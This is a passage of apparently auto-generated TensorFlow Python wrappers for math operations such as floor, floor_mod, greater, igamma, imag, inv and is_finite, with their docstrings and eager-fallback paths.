_result = _execute.execute(b"Expm1", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Expm1", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def floor(x, name=None):
r"""Returns element-wise largest integer not greater than x.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Floor", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return floor_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Floor", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Floor", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Floor = tf_export("raw_ops.Floor")(_ops.to_raw_op(floor))
def floor_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Floor", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Floor", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export(v1=['floor_div'])
@deprecated_endpoints('floor_div')
def floor_div(x, y, name=None):
r"""Returns x // y element-wise.
*NOTE*: `floor_div` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `uint32`, `uint64`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "FloorDiv", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return floor_div_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
floor_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"FloorDiv", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
floor_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"FloorDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
FloorDiv = tf_export("raw_ops.FloorDiv")(_ops.to_raw_op(floor_div))
def floor_div_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.uint32, _dtypes.uint64, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"FloorDiv", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"FloorDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.floormod', 'math.mod', v1=['math.floormod', 'floormod', 'math.mod', 'mod'])
@deprecated_endpoints('floormod', 'mod')
def floor_mod(x, y, name=None):
r"""Returns element-wise remainder of division. When `x < 0` xor `y < 0` is
true, this follows Python semantics in that the result here is consistent
with a flooring divide. E.g. `floor(x / y) * y + mod(x, y) = x`.
*NOTE*: `math.floormod` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `int32`, `int64`, `uint64`, `bfloat16`, `half`, `float32`, `float64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "FloorMod", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return floor_mod_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
floor_mod, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"FloorMod", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
floor_mod, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"FloorMod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
FloorMod = tf_export("raw_ops.FloorMod")(_ops.to_raw_op(floor_mod))
def floor_mod_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.uint64, _dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"FloorMod", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"FloorMod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.greater', 'greater')
def greater(x, y, name=None):
r"""Returns the truth value of (x > y) element-wise.
*NOTE*: `math.greater` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Example:
```python
x = tf.constant([5, 4, 6])
y = tf.constant([5, 2, 5])
tf.math.greater(x, y) ==> [False, True, True]
x = tf.constant([5, 4, 6])
y = tf.constant([5])
tf.math.greater(x, y) ==> [False, False, True]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Greater", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return greater_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
greater, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Greater", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
greater, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Greater", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Greater = tf_export("raw_ops.Greater")(_ops.to_raw_op(greater))
def greater_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Greater", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Greater", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.greater_equal', 'greater_equal')
def greater_equal(x, y, name=None):
r"""Returns the truth value of (x >= y) element-wise.
*NOTE*: `math.greater_equal` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Example:
```python
x = tf.constant([5, 4, 6, 7])
y = tf.constant([5, 2, 5, 10])
tf.math.greater_equal(x, y) ==> [True, True, True, False]
x = tf.constant([5, 4, 6, 7])
y = tf.constant([5])
tf.math.greater_equal(x, y) ==> [True, False, True, True]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "GreaterEqual", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return greater_equal_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
greater_equal, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"GreaterEqual", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
greater_equal, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"GreaterEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
GreaterEqual = tf_export("raw_ops.GreaterEqual")(_ops.to_raw_op(greater_equal))
def greater_equal_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"GreaterEqual", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"GreaterEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _histogram_fixed_width(values, value_range, nbins, dtype=_dtypes.int32, name=None):
r"""Return histogram of values.
Given the tensor `values`, this operation returns a rank 1 histogram counting
the number of entries in `values` that fall into every bin. The bins are
equal width and determined by the arguments `value_range` and `nbins`.
```python
# Bins will be: (-inf, 1), [1, 2), [2, 3), [3, 4), [4, inf)
nbins = 5
value_range = [0.0, 5.0]
new_values = [-1.0, 0.0, 1.5, 2.0, 5.0, 15]
with tf.get_default_session() as sess:
hist = tf.histogram_fixed_width(new_values, value_range, nbins=5)
variables.global_variables_initializer().run()
sess.run(hist) => [2, 1, 1, 0, 2]
```
Args:
values: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
Numeric `Tensor`.
value_range: A `Tensor`. Must have the same type as `values`.
Shape [2] `Tensor` of same `dtype` as `values`.
values <= value_range[0] will be mapped to hist[0],
values >= value_range[1] will be mapped to hist[-1].
nbins: A `Tensor` of type `int32`.
Scalar `int32 Tensor`. Number of histogram bins.
dtype: An optional `tf.DType` from: `tf.int32, tf.int64`. Defaults to `tf.int32`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `dtype`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "HistogramFixedWidth", name, values, value_range, nbins,
"dtype", dtype)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _histogram_fixed_width_eager_fallback(
values, value_range, nbins, dtype=dtype, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if dtype is None:
dtype = _dtypes.int32
dtype = _execute.make_type(dtype, "dtype")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"HistogramFixedWidth", values=values, value_range=value_range,
nbins=nbins, dtype=dtype, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "dtype",
_op._get_attr_type("dtype"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"HistogramFixedWidth", _inputs_flat, _attrs, _result)
_result, = _result
return _result
HistogramFixedWidth = tf_export("raw_ops.HistogramFixedWidth")(_ops.to_raw_op(_histogram_fixed_width))
def _histogram_fixed_width_eager_fallback(values, value_range, nbins, dtype, name, ctx):
if dtype is None:
dtype = _dtypes.int32
dtype = _execute.make_type(dtype, "dtype")
_attr_T, _inputs_T = _execute.args_to_matching_eager([values, value_range], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
(values, value_range) = _inputs_T
nbins = _ops.convert_to_tensor(nbins, _dtypes.int32)
_inputs_flat = [values, value_range, nbins]
_attrs = ("T", _attr_T, "dtype", dtype)
_result = _execute.execute(b"HistogramFixedWidth", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"HistogramFixedWidth", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.igamma', v1=['math.igamma', 'igamma'])
@deprecated_endpoints('igamma')
def igamma(a, x, name=None):
r"""Compute the lower regularized incomplete Gamma function `P(a, x)`.
The lower regularized incomplete Gamma function is defined as:
\\(P(a, x) = gamma(a, x) / Gamma(a) = 1 - Q(a, x)\\)
where
\\(gamma(a, x) = \\int_{0}^{x} t^{a-1} exp(-t) dt\\)
is the lower incomplete Gamma function.
Note, above `Q(a, x)` (`Igammac`) is the upper regularized complete
Gamma function.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`.
x: A `Tensor`. Must have the same type as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Igamma", name, a, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return igamma_eager_fallback(
a, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
igamma, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Igamma", a=a, x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
igamma, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Igamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Igamma = tf_export("raw_ops.Igamma")(_ops.to_raw_op(igamma))
def igamma_eager_fallback(a, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, x], ctx, [_dtypes.float32, _dtypes.float64, ])
(a, x) = _inputs_T
_inputs_flat = [a, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Igamma", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Igamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def igamma_grad_a(a, x, name=None):
r"""Computes the gradient of `igamma(a, x)` wrt `a`.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`.
x: A `Tensor`. Must have the same type as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "IgammaGradA", name, a, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return igamma_grad_a_eager_fallback(
a, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"IgammaGradA", a=a, x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"IgammaGradA", _inputs_flat, _attrs, _result)
_result, = _result
return _result
IgammaGradA = tf_export("raw_ops.IgammaGradA")(_ops.to_raw_op(igamma_grad_a))
def igamma_grad_a_eager_fallback(a, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, x], ctx, [_dtypes.float32, _dtypes.float64, ])
(a, x) = _inputs_T
_inputs_flat = [a, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"IgammaGradA", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"IgammaGradA", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.igammac', v1=['math.igammac', 'igammac'])
@deprecated_endpoints('igammac')
def igammac(a, x, name=None):
r"""Compute the upper regularized incomplete Gamma function `Q(a, x)`.
The upper regularized incomplete Gamma function is defined as:
\\(Q(a, x) = Gamma(a, x) / Gamma(a) = 1 - P(a, x)\\)
where
\\(Gamma(a, x) = int_{x}^{\infty} t^{a-1} exp(-t) dt\\)
is the upper incomplete Gama function.
Note, above `P(a, x)` (`Igamma`) is the lower regularized complete
Gamma function.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`.
x: A `Tensor`. Must have the same type as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Igammac", name, a, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return igammac_eager_fallback(
a, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
igammac, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Igammac", a=a, x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
igammac, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Igammac", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Igammac = tf_export("raw_ops.Igammac")(_ops.to_raw_op(igammac))
def igammac_eager_fallback(a, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, x], ctx, [_dtypes.float32, _dtypes.float64, ])
(a, x) = _inputs_T
_inputs_flat = [a, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Igammac", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Igammac", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def imag(input, Tout=_dtypes.float32, name=None):
r"""Returns the imaginary part of a complex number.
Given a tensor `input` of complex numbers, this operation returns a tensor of
type `float` that is the imaginary part of each element in `input`. All
elements in `input` must be complex numbers of the form \\(a + bj\\), where *a*
is the real part and *b* is the imaginary part returned by this operation.
For example:
```
# tensor 'input' is [-2.25 + 4.75j, 3.25 + 5.75j]
tf.imag(input) ==> [4.75, 5.75]
```
Args:
input: A `Tensor`. Must be one of the following types: `complex64`, `complex128`.
Tout: An optional `tf.DType` from: `tf.float32, tf.float64`. Defaults to `tf.float32`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `Tout`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Imag", name, input, "Tout", Tout)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return imag_eager_fallback(
input, Tout=Tout, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Imag", input=input, Tout=Tout, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tout",
_op._get_attr_type("Tout"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Imag", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Imag = tf_export("raw_ops.Imag")(_ops.to_raw_op(imag))
def imag_eager_fallback(input, Tout, name, ctx):
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.complex64, _dtypes.complex128, ], _dtypes.complex64)
_inputs_flat = [input]
_attrs = ("T", _attr_T, "Tout", Tout)
_result = _execute.execute(b"Imag", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Imag", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def inv(x, name=None):
r"""Computes the reciprocal of x element-wise.
I.e., \\(y = 1 / x\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Inv", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return inv_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Inv", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Inv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Inv = tf_export("raw_ops.Inv")(_ops.to_raw_op(inv))
def inv_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Inv", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Inv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def inv_grad(y, dy, name=None):
r"""Computes the gradient for the inverse of `x` wrt its input.
Specifically, `grad = -dy * y*y`, where `y = 1/x`, and `dy`
is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "InvGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return inv_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"InvGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"InvGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
InvGrad = tf_export("raw_ops.InvGrad")(_ops.to_raw_op(inv_grad))
def inv_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"InvGrad", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"InvGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.is_finite', v1=['math.is_finite', 'debugging.is_finite', 'is_finite'])
@deprecated_endpoints('debugging.is_finite', 'is_finite')
def is_finite(x, name=None):
r"""Returns which elements of x are finite.
@compatibility(numpy)
Equivalent to np.isfinite
@end_compatibility
Example:
```python
x = tf.constant([5.0, 4.8, 6.8, np.inf, np.nan])
tf.math.is_finite(x) ==> [True, True, True, False, False]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "IsFinite", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return is_finite_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_finite, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"IsFinite", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_finite, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"IsFinite", _inputs_flat, _attrs, _result)
_result, = _result
return _result
IsFinite = tf_export("raw_ops.IsFinite")(_ops.to_raw_op(is_finite))
def is_finite_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"IsFinite", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"IsFinite", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
